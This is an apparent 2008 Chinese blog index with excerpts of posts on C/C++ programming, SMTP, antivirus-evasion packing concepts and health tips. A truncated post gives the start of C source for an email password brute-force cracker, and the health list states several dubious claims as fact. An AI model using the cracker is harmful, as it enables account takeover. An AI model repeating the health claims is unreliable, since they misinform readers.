博文

健康生活每一天(2008-06-15 20:27:00)

摘要:生活小常识
1、常吃宵夜.会得胃癌. 因为胃得不到休息
2、一个星期只能吃四颗蛋.吃太多.对身体不好
3、.鸡屁股含有致癌物, 不要吃较好
4、饭后吃水果是错误的观念. 应是饭前吃水果
5、女生月经来时.不要喝绿茶. 反正茶类不要喝就对了.多吃可以补血的东西
6、喝豆浆时不要加鸡蛋及糖. 也不要喝太多
7、空腹时不要吃蕃茄, 最好饭后吃
8、早上醒来.先喝一杯水. 预防结石
9、睡前三小时不要吃东西. 会胖
10、少喝奶茶. 因为高热量.高油.没有营养价值可言.长期饮用.易罹患高血压.糖尿病.等疾病
11、刚出炉的面包 不宜马上食用
12、远离充电座. 人体应远离30公分以上.切忌放在床边
13、天天喝水 八大杯
14、每天十杯水. 膀胱癌不会来
15、白天多喝水. 晚上少喝水
16、一天不要喝两杯以上的咖啡. 喝太多易导致失眠,胃痛
17、多油脂的食物少吃.因 为得花5~7小时去消化,并使脑中血液集中到肠胃.易昏
昏欲睡
18、下午五点后.大餐少少吃, 因为五点后身体不需那么多能量
19、10种吃了会快乐的食物: 深海鱼,香蕉,葡萄柚,全麦面包,菠菜,大蒜,南瓜,低
脂牛奶,鸡肉,樱桃
20、睡眠不足会变笨, 一天须八小时睡眠,有午睡习惯较不会老
21、最佳睡眠时间是在 晚上10点~清晨6点
22、每天喝酒不要超过一杯, 因为酒精会抑制制造抗体的B细胞,增加细菌感染的机会
23、服用胶囊应以冷水吞服(可以第一个吃), 睡前30分先服药.忌立即躺下
24、酸梅具防止老化作用, 青春永驻;肝火有毛病者宜多食用
25、掉发因素: 熬夜,压力,烟酒,香鸡排.麻辣锅.油腻食物.调味过重的料理
26、帮助头发生长:多 食用包心菜,蛋.豆类;少吃甜食(尤其是果糖)
27、每天一杯柠檬汁,柳橙汁. 不但可以美白还可以淡化黑斑
28、苹果是机车族、瘾君子、家庭主妇的常备良药, 一天一颗,才能让自己有个
干干净净的肺
29、抽烟又吃维他命(B胡萝卜素-A维他命的一种), 会致癌,尽早戒烟.才是最健康
的做法
30、女......

阅读全文(2253) | 评论:0

std:string、char *和char []的问题(2008-06-11 12:24:00)

摘要:string str_s = "abc";
char *str_cp = "abc";
char str_ca[] = "abc";

1. str_cp是指针,指向一段数据有四个元素,分别是'a', 'b', 'c', '\0'。

2. str_ca是数组,它包含四个元素,分别是'a', 'b', 'c', '\0'。
引用: 我知道*str_cp的"abc"多了一个'/0'
这个说法不正确。数组str_ca也会有'\0'。但如果你写char str_ca[] = {'a', 'b', 'c'}则不会有'\0'。

3.  引用: str_ca相当于一个char * const str_cp
这个说法不正确。数组和指针是不同的,数组不能看作常指针。证据就是:
char* const s = "abcdef";
char a[] = "abcdef";
则sizeof(s)一般为2或者4,而sizeof(a)为7。
指针只保存了所指向的地址,数组既包括首地址的信息,还包括长度的信息。不过数组在作为参数传递时,可以转化为指针的形式(数组首地址作为指针所指地址,数组长度信息被丢弃)。

4.  引用: string str_s 本质上是什么呢?
从对象的观点看。str_s就是一个对象,其中包含了字符串数据,如此而已。至于对象内部是如何操作,以保证正确的包含这个字符串数据,这完全取决于string类的作者。这种现象体现了面向对象编程思想中的一个重要观点——封装。作为类的使用者,我们只要知道它应该怎么用即可,不需要知道它是如何工作的。也就是说不需要知道它的本质。
当然我们也不能一无所知。为了更好的使用这个类,它的基本特性要了然于心。比如,我们要知道string中的字符是连续存储的,而......

阅读全文(12660) | 评论:0

C语言的inline(2008-06-09 17:56:00)

摘要:C语言的inline 转以前我用Docbook写的一篇关于C语言inline关键字使用的文章。唉,要是能用docbook直接写Blog就好了。用得越多发现Docbook这个东西真是越好用啊~~   本文介绍了GCC和C99标准中inline使用上的不同之处。inline属性在使用的时候,要注意以下两点: inline关键字在GCC参考文档中仅有对其使用在函数定义(Definition)上的描述,而没有提到其是否能用于函数声明(Declare)。 从inline的作用来看,其放置于函数声明中应当也是毫无作用的:inline只会影响函数在translation unit(可以简单理解为C源码文件)内的编译行为,只要超出了这个范围inline属性就没有任何作用了。所以inline关键字不应该出现在函数声明中,没有任何作用不说,有时还可能造成编译错误(在包含了sys/compiler.h的情况下,声明中出现inline关键字的部分通常无法编译通过); inline关键字仅仅是建议编译器做内联展开处理,而不是强制。在gcc编译器中,如果编译优化设置为-O0,即使是inline函数也不会被内联展开,除非设置了强制内联(__attribute__((always_inline)))属性。 1. GCC的inline gcc对C语言的inline做了自己的扩展,其行为与C99标准中的inline有较大的不同。 1.1. static inline GCC的static inline定义很容易理解:你可以把它认为是一个static的函数,加上了inline的属性。这个函数大部分表现和普通的static函数一样,只不过在调用这种函数的时候,gcc会在其调用处将其汇编码展开编译而不为这个函数生成独立的汇编码。除了以下几种情况外: 函数的地址被使用的时候。如通过函数指针对函数进行了间接调用。这种情况下就不得不为static inline函数生成独立的汇编码,否则它没有自己的地址。 其他一些无法展开的情况,比如函数本身有递归调用自身的行为等。 static inline函数和static函数一样,其定义的范围是local的,即可以在程序内有多个同名的定......

阅读全文(8348) | 评论:1

多线程模拟(2008-06-07 13:18:00)

摘要:#include<iostream.h>
#include<time.h>
#include<stdlib.h>
#include<string.h>
class multithread   // 多线程类
{
private:
 char s[1000]; // 某线程工作状态字符型记录数组
 int sum;        // 某个对象存储状态的字符串型数组的个数
             
public:
 multithread(){xpiot=0;for(int i=0;i<1000;i++)s[i]=' ';}; 
 ~multithread(){};
 void randcpu();            //产生某个线程某一次所需的CPU时间的随机函数
 void randio();             //产生某个线程某一次所需的外围io设备时间的随机函数
 void store();       //存储线程记录函数
 void print();       //输出运行结果
 static int sumtime;    //系统总时间
 int xpiot;      //当前线程与其后io运行时间之和
}......

阅读全文(2435) | 评论:0

WinExec来执行DOS命令(2008-06-06 21:37:00)

摘要:首先dos命令只能用system来执行的,由于讨厌system出现的黑屏,才用WinExec来运行:) 以下调用示例:http://topic.csdn.net/t/20030218/20/1441305.html# 2000下:  
   
  SetCurrentDir("c:\\");  
  WinExec("cmd   /c   copy   1.txt+2.txt   /b",SW_HIDE);  
   
  98下:  
   
  SetCurrentDir("c:\\");  
  WinExec("command   /c   copy   1.txt+2.txt   /b",SW_HIDE);  
   
  此处假设你要复制的文件所在目录为C:\,要合并的文件分别为1.txt和2.txt,合并后文件名仍为1.txt。你的程序中应作相应修改。  
   
  如果你合并到一个新文件3.txt,则应为:  
  2000:  
  WinExec("cmd   /c   copy   1.txt+2.txt   3.txt   /b",SW_HIDE);  
  98:  
  WinExec("command   /c   copy &n......

阅读全文(4284) | 评论:0

介绍下加壳、脱壳以及如何病毒免杀技术与原理(2008-05-26 18:19:00)

摘要:介绍下加壳、脱壳以及如何病毒免杀技术与原理 在自然界中,我想大家对壳这东西应该都不会陌生了,由上述故事,我们也可见一斑。自然界中植物用它来保护种子,动物用它来保护身体等等。同样,在一些计算机软件里也有一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。就像动植物的壳一般都是在身体外面一样理所当然(但后来也出现了所谓的“壳中带籽”的壳)。由于这段程序和自然界的壳在功能上有很多相同的地方,基于命名的规则,大家就把这样的程序称为“壳”了。就像计算机病毒和自然界的病毒一样,其实都是命名上的方法罢了。 从功能上抽象,软件的壳和自然界中的壳相差无几。无非是保护、隐蔽壳内的东西。而从技术的角度出发,壳是一段执行于原始程序前的代码。原始程序的代码在加壳的过程中可能被压缩、加密……。当加壳后的文件执行时,壳-这段代码先于原始程序运行,他把压缩、加密后的代码还原成原始程序代码,然后再把执行权交还给原始代码。 软件的壳分为加密壳、压缩壳、伪装壳、多层壳等类,目的都是为了隐藏程序真正的OEP(入口点,防止被破解)。关于“壳”以及相关软件的发展历史请参阅吴先生的《一切从“壳”开始》。 (一)壳的概念        作者编好软件后,编译成exe可执行文件。
       1.有一些版权信息需要保护起来,不想让别人随便改动,如作者的姓名,即为了保护软件不被破解,通常都是采用加壳来进行保护。
       2.需要把程序搞的小一点,从而方便使用。于是,需要用到一些软件,它们能将exe可执行文件压缩,
       3.在黑客界给木马等软件加壳脱壳以躲避杀毒软件。实现上述功能,这些软件称为加壳软件。 (二)加壳软件最常见的加壳软件        ASPACK ,UPX,PEcompact 不常用的加壳软件WWPACK32;PE-PACK ;PETITE NEOLITE (三)侦测壳和软件所用编写语言的软件 ......

阅读全文(6515) | 评论:1

E-mail密码暴力破解器(2008-05-13 18:34:00)

摘要://E-mail密码暴力破解器 //By RedIce //E-mail:redice@see.xidian.edu.cn #include #include #pragma comment(lib,"ws2_32.lib") char* ch64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; FILE *FileOpr; SOCKET sender; unsigned char *encode(unsigned char *,int);//函数声明;Base64编码 char send_wait(char *,char *,char);//函数声明:发送数据并等待接收到响应码 void usage();//程序使用说明 void initialsocket();//重置Socket连接 struct sockaddr_in dest;//目的地址结构体 void main(int argc,char *argv[]) { char temp[1024]; //读取密码字典缓冲区 int k=0,i=0;//已读取密码文件行数 DWORD starttime;//程序运行开始时间 WSADATA wsa;//WSAData结构体 PHOSTENT hostinfo;//主机信息(域名->IP) char passfile[201];//密码字典文件路径 char username[51];//用户名 char *ICMP_DEST_IP;//目的IP //char ret;//返回值 memset(passfile,0,201);//密码字典文件路径 memset(username,0,51);//欲破解的用户名 if(1==argc)//如果只有默认的命令行参数 则给出程序说明 并退出程序 { usage(); return; } else//如果有多个参数 { for(i=1;i=200) { printf("密码字典文件名太长!\n"); return; } strcpy(......

阅读全文(4336) | 评论:0

SMTP协议原始命令码和工作原理(2008-05-02 13:46:00)

摘要:1.SMTP是工作在两种情况下:一是电子邮件从客户机传输到服务器;二是从某一个服务器传输到另一个服务器. 2.SMTP是个请求/响应协议,命令和响应都是基于ASCII文本,并以CR和LF符结束。响应包括一个表示返回状态的三位数字代码. 3.SMTP在TCP协议25号端口监听连接请求 4.连接和发送过程: a.建立TCP连接 b.客户端发送HELO命令以标识发件人自己的身份,然后客户端发送MAIL命令服务器端正希望以OK作为响应,表明准备接收 c.客户端发送RCPT命令,以标识该电子邮件的计划接收人,可以有多个RCPT行服务器端则表示是否愿意为收件人接受邮件 d.协商结束,发送邮件,用命令DATA发送 e. 以.表示结束输入内容一起发送出去 f.结束此次发送,用QUIT命令退出。 5.另外两个命令: VRFY---用于验证给定的用户邮箱是否存在,以及接收关于该用户的详细信息。 EXPN---用于扩充邮件列表。 6.邮件路由过程: SMTP服务器基于‘域名服务DNS中计划收件人的域名来路由电子邮件。SMTP服务器基于DNS中的MX记录来路由电子邮件,MX记录注册了域名和相关的SMTP中继主机,属于该域的电子邮件都应向该主机发送。 若SMTP服务器mail.abc.com收到一封信要发到shuser@sh.abc.com: a.Sendmail请求DNS给出主机sh.abc.com的CNAME记录,如有,假若CNAME到shmail.abc.com,则再次请求shmail.abc.com的CNAME记录,直到没有为止. b.假定被CNAME到shmail.abc.com,然后sendmail请求@abc.com域的DNS给出shmail.abc.com的MX记录,shmail MX 5 shmail.abc.com 10 shmail2.abc.com c. Sendmail最后请求DNS给出shmail.abc.com的A记录,即IP地址,若返回值为1.2.3.4 d. Sendmail与1.2.3.4连接,传送这封给shuser@sh.abc.com的信到1.2.3.4这台服务器的SMTP后台程序 7.SMTP基本命......

阅读全文(2054) | 评论:0

鼠标编程(2008-04-25 10:15:00)

摘要:鼠标编程分享 调试环境为TC2.0或者TC3.0。

#include<dos.h>
#include<conio.h>
#include<string.h>
#include<math.h>
#include<stdlib.h>
#include<stdio.h>
#define HEX 0
#define DEC 1
#define OCT 2
#define BIN 3

int index=0,choice=0;
/*初始化鼠标器*/
void initmouse()
{
    _AX=0;
    geninterrupt(0x33);

}
/*显示鼠标光标*/
void showmouse()
{
    _AX=1;
    geninterrupt(0x33);
}
/*隐藏鼠标*/
void hidemouse()
{
    _AX=2;
    geninterrupt(0x33);
}
/*取鼠标状态和鼠标位置*/
void getmouse(int *button,int *x,int *y)
{
    _AX=3;
    _BX=0;
    geninterrupt(0x33);
    *button=_BL;
    *x=_CX;
    *y=_DX;
}
/*设置程序中的数字字符表*/
int getnum(char......

阅读全文(2736) | 评论:0

剖析VC中的文件操作(2008-04-15 18:58:00)

摘要:VC之文件操作 一、          剖析VC中的文件操作
各种关于文件的操作在程序设计中是十分常见,如果能对其各种操作都了如指掌,就可以根据实际情况找到最佳的解决方案,从而在较短的时 间内编写出高效的代码,因而熟练的掌握文件操作是十分重要的。本文将对Visual C++中有关文件操作进行全面的介绍,并对在文件操作中经 常遇到的一些疑难问题进行详细的分析。
  1.文件的查找
  当对一个文件操作时,如果不知道该文件是否存在,就要首先进行查找。MFC中有一个专门用来进行文件查找的类CFileFind,使用它可以 方便快捷地进行文件的查找。下面这段代码演示了这个类的最基本使用方法。
  CString strFileTitle;
  CFileFind finder;
  BOOL bWorking = finder.FindFile("C:\\windows\\sysbkup\\*.cab");
  while(bWorking)
  {
  bWorking=finder.FindNextFile();
  strFileTitle=finder.GetFileTitle();
  }
  2.文件的打开/保存对话框
  让用户选择文件进行打开和存储操作时,就要用到文件打开/保存对话框。MFC的类CFileDialog用于实现这种功能。使用CFileDialog声明 一个对象时,第一个BOOL型参数用于指定文件的打开或保存,当为TRUE时将构造一个文件打开对话框,为FALSE时构造一个文件保存对话框。
  在构造CFileDialog对象时,如果在参数中指定了OFN_ALLOWMULTISELECT风格,则在此对话框中可以进行多选操作。此时要重点注意为此 CFileDialog对象的m_ofn.lpstrFile分配一块内存,用于存储多选操作所返回的所有文件路径名,如果不进行分配或分配的内存过小就会导致 操作失败。下面这段程序演示了文件打开对话框的使用方法。
  CFileDialog mFileDlg(TRUE,NULL,NULL,
  ......

阅读全文(6694) | 评论:0